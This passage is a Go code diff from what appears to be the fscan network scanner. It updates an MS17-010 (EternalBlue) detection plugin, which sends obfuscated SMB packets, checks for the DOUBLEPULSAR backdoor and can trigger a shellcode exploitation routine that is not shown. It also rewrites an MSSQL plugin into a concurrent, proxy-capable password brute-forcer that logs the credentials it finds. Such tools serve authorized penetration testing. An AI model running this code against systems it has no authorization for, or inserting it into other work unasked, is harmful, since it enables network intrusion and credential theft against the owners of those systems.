@@ -33,126 +32,133 @@ func init() {
|
|||||||
// 解密协议请求
|
// 解密协议请求
|
||||||
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
|
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("解密协议请求失败: %v", err)
|
Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
|
||||||
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
|
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("解码协议请求失败: %v", err)
|
Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
|
||||||
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解密会话请求
|
// 解密会话请求
|
||||||
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
|
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("解密会话请求失败: %v", err)
|
Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
|
||||||
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
sessionSetupRequest, err = hex.DecodeString(decrypted)
|
sessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("解码会话请求失败: %v", err)
|
Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
|
||||||
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解密连接请求
|
// 解密连接请求
|
||||||
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
|
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("解密连接请求失败: %v", err)
|
Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
|
||||||
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
treeConnectRequest, err = hex.DecodeString(decrypted)
|
treeConnectRequest, err = hex.DecodeString(decrypted)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("解码连接请求失败: %v", err)
|
Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
|
||||||
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解密管道请求
|
// 解密管道请求
|
||||||
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
|
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("解密管道请求失败: %v", err)
|
Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
|
||||||
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
transNamedPipeRequest, err = hex.DecodeString(decrypted)
|
transNamedPipeRequest, err = hex.DecodeString(decrypted)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("解码管道请求失败: %v", err)
|
Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
|
||||||
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解密会话设置请求
|
// 解密会话设置请求
|
||||||
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
|
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("解密会话设置请求失败: %v", err)
|
Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
|
||||||
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
|
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("解码会话设置请求失败: %v", err)
|
Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
|
||||||
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// MS17010 扫描入口函数
|
// MS17010 扫描入口函数
|
||||||
func MS17010(info *Common.HostInfo) error {
|
func MS17010(info *Common.HostInfo) error {
|
||||||
// 暴力破解模式下跳过扫描
|
if Common.DisableBrute {
|
||||||
if Common.IsBrute {
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 执行MS17-010漏洞扫描
|
|
||||||
err := MS17010Scan(info)
|
err := MS17010Scan(info)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err))
|
Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
|
||||||
}
|
}
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
// MS17010Scan 执行MS17-010漏洞扫描
|
|
||||||
func MS17010Scan(info *Common.HostInfo) error {
|
func MS17010Scan(info *Common.HostInfo) error {
|
||||||
ip := info.Host
|
ip := info.Host
|
||||||
|
|
||||||
// 连接目标445端口
|
// 连接目标
|
||||||
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
|
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return fmt.Errorf("连接错误: %v", err)
|
||||||
}
|
}
|
||||||
defer conn.Close()
|
defer conn.Close()
|
||||||
|
|
||||||
// 设置连接超时
|
|
||||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||||
return err
|
return fmt.Errorf("设置超时错误: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送SMB协议协商请求
|
// SMB协议协商
|
||||||
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
||||||
return err
|
return fmt.Errorf("发送协议请求错误: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 读取响应
|
|
||||||
reply := make([]byte, 1024)
|
reply := make([]byte, 1024)
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||||
return err
|
if err != nil {
|
||||||
|
return fmt.Errorf("读取协议响应错误: %v", err)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("协议响应不完整")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查协议响应状态
|
|
||||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||||
return err
|
return fmt.Errorf("协议协商被拒绝")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送会话建立请求
|
// 建立会话
|
||||||
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
||||||
return err
|
return fmt.Errorf("发送会话请求错误: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 读取响应
|
|
||||||
n, err := conn.Read(reply)
|
n, err := conn.Read(reply)
|
||||||
if err != nil || n < 36 {
|
if err != nil || n < 36 {
|
||||||
return err
|
if err != nil {
|
||||||
|
return fmt.Errorf("读取会话响应错误: %v", err)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("会话响应不完整")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查会话响应状态
|
|
||||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||||
return errors.New("无法确定目标是否存在漏洞")
|
return fmt.Errorf("会话建立失败")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 提取操作系统信息
|
// 提取系统信息
|
||||||
var os string
|
var os string
|
||||||
sessionSetupResponse := reply[36:n]
|
sessionSetupResponse := reply[36:n]
|
||||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||||
if n != int(byteCount)+45 {
|
if n != int(byteCount)+45 {
|
||||||
fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip)
|
Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
|
||||||
} else {
|
} else {
|
||||||
// 查找Unicode字符串结束标记(两个连续的0字节)
|
|
||||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||||
os = string(sessionSetupResponse[10:i])
|
os = string(sessionSetupResponse[10:i])
|
||||||
@@ -163,69 +169,120 @@ func MS17010Scan(info *Common.HostInfo) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取用户ID
|
// 树连接请求
|
||||||
userID := reply[32:34]
|
userID := reply[32:34]
|
||||||
treeConnectRequest[32] = userID[0]
|
treeConnectRequest[32] = userID[0]
|
||||||
treeConnectRequest[33] = userID[1]
|
treeConnectRequest[33] = userID[1]
|
||||||
|
|
||||||
// 发送树连接请求
|
|
||||||
if _, err = conn.Write(treeConnectRequest); err != nil {
|
if _, err = conn.Write(treeConnectRequest); err != nil {
|
||||||
return err
|
return fmt.Errorf("发送树连接请求错误: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||||
return err
|
if err != nil {
|
||||||
|
return fmt.Errorf("读取树连接响应错误: %v", err)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("树连接响应不完整")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取树ID并设置后续请求
|
// 命名管道请求
|
||||||
treeID := reply[28:30]
|
treeID := reply[28:30]
|
||||||
transNamedPipeRequest[28] = treeID[0]
|
transNamedPipeRequest[28] = treeID[0]
|
||||||
transNamedPipeRequest[29] = treeID[1]
|
transNamedPipeRequest[29] = treeID[1]
|
||||||
transNamedPipeRequest[32] = userID[0]
|
transNamedPipeRequest[32] = userID[0]
|
||||||
transNamedPipeRequest[33] = userID[1]
|
transNamedPipeRequest[33] = userID[1]
|
||||||
|
|
||||||
// 发送命名管道请求
|
|
||||||
if _, err = conn.Write(transNamedPipeRequest); err != nil {
|
if _, err = conn.Write(transNamedPipeRequest); err != nil {
|
||||||
return err
|
return fmt.Errorf("发送管道请求错误: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||||
return err
|
if err != nil {
|
||||||
|
return fmt.Errorf("读取管道响应错误: %v", err)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("管道响应不完整")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查漏洞状态
|
// 漏洞检测部分添加 Output
|
||||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||||
// 目标存在MS17-010漏洞
|
// 构造基本详情
|
||||||
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os))
|
details := map[string]interface{}{
|
||||||
|
"port": "445",
|
||||||
|
"vulnerability": "MS17-010",
|
||||||
|
}
|
||||||
|
if os != "" {
|
||||||
|
details["os"] = os
|
||||||
|
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
|
||||||
|
} else {
|
||||||
|
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
|
||||||
|
}
|
||||||
|
|
||||||
// 如果指定了shellcode,执行漏洞利用
|
// 保存 MS17-010 漏洞结果
|
||||||
defer func() {
|
result := &Common.ScanResult{
|
||||||
if Common.SC != "" {
|
Time: time.Now(),
|
||||||
MS17010EXP(info)
|
Type: Common.VULN,
|
||||||
}
|
Target: ip,
|
||||||
}()
|
Status: "vulnerable",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(result)
|
||||||
|
|
||||||
// 检测DOUBLEPULSAR后门
|
// DOUBLEPULSAR 后门检测
|
||||||
trans2SessionSetupRequest[28] = treeID[0]
|
trans2SessionSetupRequest[28] = treeID[0]
|
||||||
trans2SessionSetupRequest[29] = treeID[1]
|
trans2SessionSetupRequest[29] = treeID[1]
|
||||||
trans2SessionSetupRequest[32] = userID[0]
|
trans2SessionSetupRequest[32] = userID[0]
|
||||||
trans2SessionSetupRequest[33] = userID[1]
|
trans2SessionSetupRequest[33] = userID[1]
|
||||||
|
|
||||||
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
|
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
|
||||||
return err
|
return fmt.Errorf("发送后门检测请求错误: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||||
return err
|
if err != nil {
|
||||||
|
return fmt.Errorf("读取后门检测响应错误: %v", err)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("后门检测响应不完整")
|
||||||
}
|
}
|
||||||
|
|
||||||
if reply[34] == 0x51 {
|
if reply[34] == 0x51 {
|
||||||
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip))
|
Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
|
||||||
|
|
||||||
|
// 保存 DOUBLEPULSAR 后门结果
|
||||||
|
backdoorResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: ip,
|
||||||
|
Status: "backdoor",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": "445",
|
||||||
|
"type": "DOUBLEPULSAR",
|
||||||
|
"os": os,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(backdoorResult)
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
// 未检测到漏洞,仅输出系统信息
|
// Shellcode 利用部分保持不变
|
||||||
Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os))
|
if Common.Shellcode != "" {
|
||||||
|
defer MS17010EXP(info)
|
||||||
|
}
|
||||||
|
} else if os != "" {
|
||||||
|
Common.LogBase(fmt.Sprintf("系统信息 %s [%s]", ip, os))
|
||||||
|
|
||||||
|
// 保存系统信息
|
||||||
|
sysResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.SERVICE,
|
||||||
|
Target: ip,
|
||||||
|
Status: "identified",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": "445",
|
||||||
|
"service": "smb",
|
||||||
|
"os": os,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(sysResult)
|
||||||
}
|
}
|
||||||
|
|
||||||
return err
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
+284
-33
@@ -1,63 +1,274 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/denisenkom/go-mssqldb"
|
"net"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
mssql "github.com/denisenkom/go-mssqldb"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// MSSQLProxyDialer 自定义dialer结构体
|
||||||
|
type MSSQLProxyDialer struct {
|
||||||
|
timeout time.Duration
|
||||||
|
}
|
||||||
|
|
||||||
|
// DialContext 实现mssql.Dialer接口,支持socks代理
|
||||||
|
func (d *MSSQLProxyDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||||
|
return Common.WrapperTcpWithContext(ctx, network, addr)
|
||||||
|
}
|
||||||
|
|
||||||
|
// MssqlCredential 表示一个MSSQL凭据
|
||||||
|
type MssqlCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// MssqlScanResult 表示MSSQL扫描结果
|
||||||
|
type MssqlScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential MssqlCredential
|
||||||
|
}
|
||||||
|
|
||||||
// MssqlScan 执行MSSQL服务扫描
|
// MssqlScan 执行MSSQL服务扫描
|
||||||
func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
func MssqlScan(info *Common.HostInfo) error {
|
||||||
if Common.IsBrute {
|
if Common.DisableBrute {
|
||||||
return
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
// 尝试用户名密码组合
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []MssqlCredential
|
||||||
for _, user := range Common.Userdict["mssql"] {
|
for _, user := range Common.Userdict["mssql"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
// 替换密码中的用户名占位符
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
credentials = append(credentials, MssqlCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
flag, err := MssqlConn(info, user, pass)
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
if flag && err == nil {
|
len(Common.Userdict["mssql"]), len(Common.Passwords), len(credentials)))
|
||||||
return err
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentMssqlScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveMssqlResult(info, target, result.Credential)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("MSSQL扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentMssqlScan 并发扫描MSSQL服务
|
||||||
|
func concurrentMssqlScan(ctx context.Context, info *Common.HostInfo, credentials []MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *MssqlScanResult, 1)
|
||||||
|
workChan := make(chan MssqlCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryMssqlCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("MSSQL并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryMssqlCredential 尝试单个MSSQL凭据
|
||||||
|
func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, credential MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &MssqlScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
}
|
}
|
||||||
|
|
||||||
// 记录错误信息
|
// 创建连接超时的上下文
|
||||||
errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
Common.LogError(errlog)
|
success, err := MssqlConn(connCtx, info, credential.Username, credential.Password)
|
||||||
tmperr = err
|
cancel()
|
||||||
|
|
||||||
if Common.CheckErrs(err) {
|
if success {
|
||||||
return err
|
return &MssqlScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 超时检查
|
lastErr = err
|
||||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mssql"])*len(Common.Passwords)) * Common.Timeout) {
|
if err != nil {
|
||||||
return err
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
|
||||||
|
return &MssqlScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// MssqlConn 尝试MSSQL连接
|
// MssqlConn 尝试MSSQL连接
|
||||||
func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||||
host, port, username, password := info.Host, info.Ports, user, pass
|
host, port, username, password := info.Host, info.Ports, user, pass
|
||||||
timeout := time.Duration(Common.Timeout) * time.Second
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
|
||||||
// 构造连接字符串
|
// 构造连接字符串
|
||||||
connStr := fmt.Sprintf(
|
connStr := fmt.Sprintf(
|
||||||
"server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v",
|
"server=%s;user id=%s;password=%s;port=%v;encrypt=disable;",
|
||||||
host, username, password, port, timeout,
|
host, username, password, port,
|
||||||
)
|
)
|
||||||
|
|
||||||
// 建立数据库连接
|
// 检查是否需要使用socks代理
|
||||||
|
if Common.Socks5Proxy != "" {
|
||||||
|
// 使用自定义dialer创建连接器
|
||||||
|
connector, err := mssql.NewConnector(connStr)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置自定义dialer
|
||||||
|
connector.Dialer = &MSSQLProxyDialer{
|
||||||
|
timeout: time.Duration(Common.Timeout) * time.Millisecond,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用连接器创建数据库连接
|
||||||
|
db := sql.OpenDB(connector)
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
// 设置连接参数
|
||||||
|
db.SetConnMaxLifetime(timeout)
|
||||||
|
db.SetConnMaxIdleTime(timeout)
|
||||||
|
db.SetMaxIdleConns(0)
|
||||||
|
db.SetMaxOpenConns(1)
|
||||||
|
|
||||||
|
// 通过上下文执行ping操作,以支持超时控制
|
||||||
|
pingCtx, pingCancel := context.WithTimeout(ctx, timeout)
|
||||||
|
defer pingCancel()
|
||||||
|
|
||||||
|
errChan := make(chan error, 1)
|
||||||
|
go func() {
|
||||||
|
errChan <- db.PingContext(pingCtx)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待ping结果或者超时
|
||||||
|
select {
|
||||||
|
case err := <-errChan:
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
return true, nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
// 全局超时或取消
|
||||||
|
return false, ctx.Err()
|
||||||
|
case <-pingCtx.Done():
|
||||||
|
if pingCtx.Err() == context.DeadlineExceeded {
|
||||||
|
// 单个连接超时
|
||||||
|
return false, fmt.Errorf("连接超时")
|
||||||
|
}
|
||||||
|
return false, pingCtx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用标准连接方式
|
||||||
db, err := sql.Open("mssql", connStr)
|
db, err := sql.Open("mssql", connStr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
@@ -68,14 +279,54 @@ func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
|||||||
db.SetConnMaxLifetime(timeout)
|
db.SetConnMaxLifetime(timeout)
|
||||||
db.SetConnMaxIdleTime(timeout)
|
db.SetConnMaxIdleTime(timeout)
|
||||||
db.SetMaxIdleConns(0)
|
db.SetMaxIdleConns(0)
|
||||||
|
db.SetMaxOpenConns(1)
|
||||||
|
|
||||||
// 测试连接
|
// 通过上下文执行ping操作,以支持超时控制
|
||||||
if err = db.Ping(); err != nil {
|
pingCtx, pingCancel := context.WithTimeout(ctx, timeout)
|
||||||
return false, err
|
defer pingCancel()
|
||||||
|
|
||||||
|
errChan := make(chan error, 1)
|
||||||
|
go func() {
|
||||||
|
errChan <- db.PingContext(pingCtx)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待ping结果或者超时
|
||||||
|
select {
|
||||||
|
case err := <-errChan:
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
return true, nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
// 全局超时或取消
|
||||||
|
return false, ctx.Err()
|
||||||
|
case <-pingCtx.Done():
|
||||||
|
if pingCtx.Err() == context.DeadlineExceeded {
|
||||||
|
// 单个连接超时
|
||||||
|
return false, fmt.Errorf("连接超时")
|
||||||
|
}
|
||||||
|
return false, pingCtx.Err()
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 连接成功
|
// saveMssqlResult 保存MSSQL扫描结果
|
||||||
result := fmt.Sprintf("[+] MSSQL %v:%v:%v %v", host, port, username, password)
|
func saveMssqlResult(info *Common.HostInfo, target string, credential MssqlCredential) {
|
||||||
Common.LogSuccess(result)
|
successMsg := fmt.Sprintf("MSSQL %s %v %v", target, credential.Username, credential.Password)
|
||||||
return true, nil
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "mssql",
|
||||||
|
"username": credential.Username,
|
||||||
|
"password": credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
}
|
}
|
||||||
|
|||||||
+139
-27
@@ -1,48 +1,160 @@
|
|||||||
package Plugins
|
package Plugins
